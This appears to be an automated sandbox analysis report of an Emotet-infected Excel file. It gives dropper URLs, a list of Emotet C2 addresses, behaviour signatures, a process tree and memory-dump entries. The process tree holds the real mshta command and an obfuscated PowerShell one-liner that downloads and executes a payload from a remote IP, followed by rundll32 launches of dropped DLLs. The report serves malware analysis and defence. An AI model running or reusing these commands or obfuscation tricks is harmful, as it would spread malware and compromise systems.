Analysis

  • max time kernel
    144s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    27/01/2022, 16:51

General

  • Target
    tmp7hter5ej.xls
  • Size 154KB
  • Sample220127-vctf6agabl
  • SHA256 3d877e78dce4cdb9ef64708c14fe6627505e1ff25946d5ae2c5625e967a5bf88
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://91.240.118.168/zqqw/zaas/fe.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://91.240.118.168/zqqw/zaas/fe.png

Extracted

Family
  • emotet

Botnet
  • Epoch4

C2
  • 51.15.4.22:443

  • 173.214.173.220:8080

  • 212.237.5.209:443

  • 192.254.71.210:443

  • 216.158.226.206:443

  • 162.243.175.63:443

  • 212.24.98.99:8080

  • 58.227.42.236:80

  • 45.118.115.99:8080

  • 104.251.214.46:8080

  • 185.157.82.209:8080

  • 46.55.222.11:443

  • 188.40.137.206:8080

  • 81.0.236.90:443

  • 103.75.201.2:443

  • 129.232.188.93:443

  • 195.154.133.20:443

  • 159.8.59.82:8080

  • 79.172.212.216:8080

  • 138.185.72.26:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\tmp7hter5ej.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:800
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c mshta http://91.240.118.168/zqqw/zaas/fe.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1240
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://91.240.118.168/zqqw/zaas/fe.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1492
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/zqqw/zaas/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1004
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1796
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1724
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:1740
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Wmtqh\uupkvbunwhxtjwo.nft",zKqqZlinwejYl
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1864
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Wmtqh\uupkvbunwhxtjwo.nft",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1148

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/800-57-0x0000000075F21000-0x0000000075F23000-memory.dmp

        memory/800-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/800-55-0x0000000071121000-0x0000000071123000-memory.dmp

        memory/800-54-0x000000002FEF1000-0x000000002FEF4000-memory.dmp

        memory/800-115-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/1004-61-0x0000000002450000-0x000000000309A000-memory.dmp

        memory/1004-60-0x0000000002450000-0x000000000309A000-memory.dmp

        memory/1148-101-0x00000000026E0000-0x0000000002705000-memory.dmp

        memory/1148-105-0x00000000027A0000-0x00000000027C5000-memory.dmp

        memory/1148-113-0x0000000003100000-0x0000000003125000-memory.dmp

        memory/1148-111-0x0000000002A11000-0x0000000002A32000-memory.dmp

        memory/1148-112-0x0000000002A10000-0x0000000002A35000-memory.dmp

        memory/1148-109-0x00000000028E0000-0x0000000002905000-memory.dmp

        memory/1148-107-0x0000000002880000-0x00000000028A5000-memory.dmp

        memory/1148-93-0x00000000001F0000-0x0000000000215000-memory.dmp

        memory/1148-95-0x0000000000930000-0x0000000000955000-memory.dmp

        memory/1148-97-0x0000000000A20000-0x0000000000A45000-memory.dmp

        memory/1148-99-0x0000000000B30000-0x0000000000B55000-memory.dmp

        memory/1148-103-0x0000000002740000-0x0000000002765000-memory.dmp

        memory/1740-77-0x00000000003A0000-0x00000000003C5000-memory.dmp

        memory/1740-79-0x0000000000470000-0x0000000000495000-memory.dmp

        memory/1740-89-0x00000000026B0000-0x00000000026D5000-memory.dmp

        memory/1740-85-0x0000000002560000-0x0000000002585000-memory.dmp

        memory/1740-83-0x0000000000F30000-0x0000000000F55000-memory.dmp

        memory/1740-81-0x0000000000990000-0x00000000009B5000-memory.dmp

        memory/1740-75-0x0000000000180000-0x00000000001A5000-memory.dmp

        memory/1864-88-0x00000000006D0000-0x00000000006F5000-memory.dmp